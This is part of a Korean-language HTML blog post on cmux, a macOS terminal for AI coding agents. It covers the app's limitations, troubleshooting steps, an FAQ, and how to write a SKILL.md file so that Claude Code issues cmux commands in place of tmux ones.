&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;15. 제한사항과 미래 전망&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 제한사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;macOS 전용:&lt;/b&gt; Swift + AppKit 기반이라 Linux/Windows 공식 지원 없음 (커뮤니티 포트 존재)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 복원의 한계:&lt;/b&gt; 레이아웃, 디렉토리, 스크롤백, 브라우저 URL은 복원되지만, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;실행 중이던 프로세스는 복원되지 않는다&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;SSH 환경 미지원:&lt;/b&gt; GUI 앱이므로 헤드리스 서버에서 사용 불가 (tmux가 여전히 필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;초기 단계:&lt;/b&gt; v0.62.2로 아직 1.0 이전, breaking change 가능성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AGPL-3.0 라이선스:&lt;/b&gt; 상용 통합 시 라이선스 조건 확인 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;WKWebView 기반:&lt;/b&gt; DOM 조작, 스크린샷 등은 가능하지만, CDP 전용 기능(CPU/메모리 프로파일링 등)은 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;소켓 간헐적 불안정:&lt;/b&gt; v0.62.x에서 &quot;Connection refused&quot; 발생 가능 (재시도로 해결)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 스크래핑 방식:&lt;/b&gt; &lt;code&gt;read-screen&lt;/code&gt;은 화면에 렌더링된 텍스트를 읽는 RPA 방식이다. CLI 출력 형식이 바뀌면 파싱이 깨질 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;세션 복원에 대한 오해 방지&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux의 세션 복원은 &lt;b&gt;레이아웃과 컨텍스트&lt;/b&gt;를 복원하는 것이지, &lt;b&gt;실행 중이던 서버나 프로세스를 다시 시작&lt;/b&gt;해주는 것은 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/manaflow-ai/cmux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux README &amp;mdash; Session Restore&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;미래 전망&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;크로스 플랫폼:&lt;/b&gt; 커뮤니티 Linux/Windows 포트가 이미 존재. 공식 채택 여부는 미정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에이전트 간 통신:&lt;/b&gt; 현재 단방향 read/send에서 양방향 메시지 교환으로 발전 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Ghostty 엔진:&lt;/b&gt; libghostty가 계속 발전 중이라 렌더링 개선이 자동 반영&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;터미널 vs IDE:&lt;/b&gt; Cursor 같은 AI IDE와의 공존 방식은 사용자 선택에 달린 문제&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;cmux는 도구 하나가 아니라 &lt;b&gt;'개념의 신호탄'&lt;/b&gt;이다. &lt;b&gt;&quot;터미널끼리 말하게 하라&quot;&lt;/b&gt;는 방향은 계속 확산될 것이다. cmux 창시자는 이 철학을 &lt;b&gt;&quot;a primitive, not a solution&quot;&lt;/b&gt;으로 표현한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 16: 트러블슈팅 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;16. 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;문제&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;해결&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;cmux: command not found&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;cmux 앱 실행 확인. CLI 링크: &lt;code&gt;sudo ln -sf &quot;/Applications/cmux.app/Contents/Resources/bin/cmux&quot; /usr/local/bin/cmux&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;소켓 연결 실패 (Connection refused)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;cmux 앱 실행 확인 후 재시작. 소켓: &lt;code&gt;~/Library/Application Support/cmux/cmux.sock&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;iTerm2에서 &lt;code&gt;CMUX_WORKSPACE_ID&lt;/code&gt; 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;환경변수는 cmux 터미널 내에서만 자동 설정됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;브라우저 열기 불안정&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2단계로 분리: &lt;code&gt;cmux browser open&lt;/code&gt; 후 &lt;code&gt;sleep 1 &amp;amp;&amp;amp; cmux browser goto URL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;SSH 서버에서 cmux 사용 불가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS 네이티브 앱이므로 SSH 불가. 원격은 tmux 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;OMC &lt;code&gt;/team&lt;/code&gt;이 cmux 안 쓰는 이유&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;OMC 내부가 tmux를 직접 호출. npm 패키지라 변경 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Ghostty 설정 충돌&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;~/.config/ghostty/config&lt;/code&gt;를 cmux가 읽음. 문제 시 해당 라인 주석 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS 보안 경고 (Gatekeeper)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;시스템 설정 &amp;gt; 보안 &amp;gt; &quot;확인 없이 열기&quot; 또는 &lt;code&gt;xattr -cr /Applications/cmux.app&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 17: FAQ ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;17. 자주 묻는 질문 (FAQ)&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. cmux는 무료인가요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;cmux 코어는 &lt;b&gt;AGPL-3.0&lt;/b&gt; 오픈소스로 무료다. 별도의 &lt;b&gt;&quot;Founder's Edition&quot;&lt;/b&gt; 유료 구독이 있으며, 우선 지원, AI 기능 조기 접근, iOS 앱, 클라우드 VM 등을 제공한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/manaflow-ai/cmux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux GitHub &amp;mdash; License&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Ghostty를 별도 설치해야 하나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;아니다. cmux는 &lt;b&gt;libghostty&lt;/b&gt;를 임베드하고 있어 별도 설치 불필요. 다만, Ghostty 설정 파일(&lt;code&gt;~/.config/ghostty/config&lt;/code&gt;)이 있으면 cmux가 읽어서 테마/폰트를 적용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. iTerm2나 Warp 대신 cmux를 써야 하나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;AI 에이전트를 많이 쓰는 개발자라면 cmux가 유리하다. 에이전트 없이 일반 터미널 작업만 한다면 iTerm2나 Warp의 안정성이 더 높다. &lt;b&gt;에이전트 활용 여부&lt;/b&gt;가 선택 기준.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. tmux와 cmux를 동시에 사용할 수 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;가능하다. cmux Surface 안에서 tmux 세션을 실행할 수 있다. 다만 &lt;code&gt;read-screen&lt;/code&gt;이 읽는 내용은 tmux가 렌더링한 화면이 되므로, 에이전트 API의 효용성은 다소 줄어들 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. 업데이트가 너무 잦은데 안정적인가요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;약 7주 만에 v0.62.2까지 도달, 24개 이상 릴리스. 안정성이 중요하면 &lt;code&gt;brew pin cmux&lt;/code&gt;로 버전을 고정하거나, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/manaflow-ai/cmux/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CHANGELOG&lt;/a&gt;에서 breaking change 확인 후 업데이트를 권한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. Claude Code가 cmux를 tmux로 착각하는 경우?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 &lt;code&gt;CLAUDE.md&lt;/code&gt;에 &lt;code&gt;&quot;이 환경은 cmux입니다. tmux가 아닌 cmux CLI를 사용하세요.&quot;&lt;/code&gt;를 추가하면 된다. 대부분 한두 번 사용 후 자동 인식한다. (참고: 섹션 9 스크린샷)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q7. 여러 AI 에이전트를 동시에 운영할 수 있나요? (리더-워커 패턴)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;가능하다. &lt;b&gt;리더-워커 패턴&lt;/b&gt;이 커뮤니티에서 검증된 구성이다. 리더 에이전트가 &lt;code&gt;cmux read-screen&lt;/code&gt;으로 워커 에이전트를 모니터링하고, &lt;code&gt;cmux send&lt;/code&gt;로 수정 명령을 전달한다. 리소스 격리가 필요하면 Docker 컨테이너 활용을 권장한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47079718&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN 창시자 코멘트&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 18: cmux SKILL.md ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;18. AI 에이전트가 cmux를 제대로 쓰게 하는 방법 고민....&amp;nbsp; &amp;mdash; SKILL.md&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux를 실제로 쓰다 보면 한 가지 공통된 문제를 만난다. &lt;b&gt;Claude, Codex 등 AI 에이전트들이 cmux 대신 tmux 명령을 생성하는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이름이 비슷하고, 훈련 데이터에 tmux가 훨씬 많기 때문에 에이전트가 자연스럽게 tmux로 fallback한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이를 해결하는 방법 중 하나가 &lt;b&gt;SKILL.md 기반 커스텀 워크플로우&lt;/b&gt;다. 이는 Claude Code의 공식 내장 기능은 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;나의 경우 몇가지 고민 중 &amp;nbsp;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;code style=&quot;letter-spacing: 0px;&quot;&gt;.claude/skills/cmux/SKILL.md&lt;/code&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt; 파일을 만들어두면, Claude Code가 세션 시작 시 이를 로드해 에이전트에게 &lt;/span&gt;&lt;b&gt;&quot;이 환경은 tmux가 아닌 cmux. 다음 CLI를 써라&quot;&lt;/b&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;를 명시적으로 주입하였다. 필요할 때는 &lt;/span&gt;&lt;code style=&quot;letter-spacing: 0px;&quot;&gt;/cmux&lt;/code&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;로 직접 호출해 컨텍스트를 강제로 올릴 수도 있다.&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 경험:&lt;/b&gt; 이 글을 작성하고 검증하는 과정에서 cmux SKILL.md를 직접 활용했다. Claude Code가 &lt;code&gt;cmux browser screenshot&lt;/code&gt;, &lt;code&gt;cmux read-screen&lt;/code&gt;, &lt;code&gt;cmux identify&lt;/code&gt; 등을 정확하게 실행한 것은 SKILL.md가 컨텍스트에 로드되어 있었기 때문이다. SKILL.md 없이 같은 작업을 하면 AI가 &lt;code&gt;tmux capture-pane&lt;/code&gt;처럼 존재하지 않는 명령을 생성하는 경우가 빈번하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 루트 또는 &lt;code&gt;.claude/skills/cmux/&lt;/code&gt; 디렉토리에 &lt;code&gt;SKILL.md&lt;/code&gt;를 생성한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# 프로젝트 로컬 스킬 디렉토리 생성&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;mkdir -p .claude/skills/cmux
# SKILL.md 파일 작성 (아래 내용 참고)
vim .claude/skills/cmux/SKILL.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;파일이 존재하면 Claude Code가 세션 시작 시 자동으로 로드한다. &lt;code&gt;/cmux&lt;/code&gt;로 직접 호출하거나, 에이전트가 cmux 명령이 필요할 때 자동으로 참조한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SKILL.md 핵심 구성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux SKILL.md에 담아야 할 핵심 내용은 다음 5가지다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 1. 계층 구조 명시 (에이전트가 자주 혼동하는 부분)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;Window &amp;gt; Workspace(사이드바 탭) &amp;gt; Pane(분할) &amp;gt; Surface(터미널/브라우저 탭)&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 2. 환경 변수 (cmux 터미널 내 자동 설정)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;CMUX_WORKSPACE_ID, CMUX_SURFACE_ID, CMUX_SOCKET_PATH
# --workspace / --surface 생략 가능 (현재 컨텍스트 자동 참조)&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 3. 핵심 명령어 테이블 (탐색 / 생성 / 전송&amp;middot;캡처)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux identify              # 현재 컨텍스트 (JSON)
cmux tree [--all]          # 전체 계층 트리
cmux read-screen           # 출력 읽기 (AI 핵심)
cmux send &quot;text\n&quot;         # 텍스트 전송 (\n = Enter)
cmux browser snapshot -i   # DOM 스냅샷&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 4. tmux &amp;rarr; cmux 변환 규칙&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;tmux send-keys -t P &quot;cmd&quot; C-m  &amp;rarr;  cmux send --surface P &quot;cmd\n&quot;
tmux capture-pane -t P -p      &amp;rarr;  cmux capture-pane --surface P&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 5. 주의사항 (SSH/CI에서는 cmux 불가)&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;command -v cmux &amp;gt;/dev/null || tmux ...   # 폴백 처리&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실제 사용 패턴&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Claude Code가 SKILL.md를 참조하여 자동으로 올바른 명령 생성&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 에이전트 프롬프트: &quot;오른쪽 패인에서 서버 로그를 읽어줘&quot;
# 에이전트 자동 생성 (SKILL.md 참조):
cmux identify
cmux tree
cmux read-screen --surface surface:2 --lines 50&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 개발 서버 + 브라우저 검증 패턴&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux new-split right
cmux send --surface surface:2 &quot;npm run dev\n&quot;
cmux browser open http://localhost:3000
cmux browser wait --text &quot;Welcome&quot; --timeout-ms 5000
cmux browser screenshot --out ./screenshot.png&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;SKILL.md vs CLAUDE.md 차이:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;CLAUDE.md&lt;/b&gt; &amp;mdash; 프로젝트 컨텍스트, 코딩 규칙, 금지사항 등 &quot;프로젝트 설명서&quot;&lt;br /&gt;&lt;b&gt;SKILL.md&lt;/b&gt; &amp;mdash; 특정 도구의 CLI 문법, 명령어 테이블 등 &quot;도구 매뉴얼&quot;&lt;br /&gt;둘을 함께 사용하면 에이전트가 프로젝트를 이해하면서 도구도 정확히 쓸 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 19: 참고 자료 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;19. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://cmux.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://github.com/manaflow-ai/cmux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: manaflow-ai/cmux&lt;/a&gt; (AGPL-3.0)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://github.com/manaflow-ai/cmux/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux Releases&lt;/a&gt; (v0.62.2)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://cmux.com/docs/getting-started&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서: Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://cmux.com/docs/browser-automation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서: Browser Automation&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://github.com/boundsj/agent-skills/blob/main/cmux/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티: cmux SKILL.md (boundsj)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://soloterm.com/cmux-vs-tmux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux vs tmux 비교&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://github.com/snjax/cmux-linux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux-linux&lt;/a&gt; (커뮤니티 Linux 포트)&lt;/li&gt;
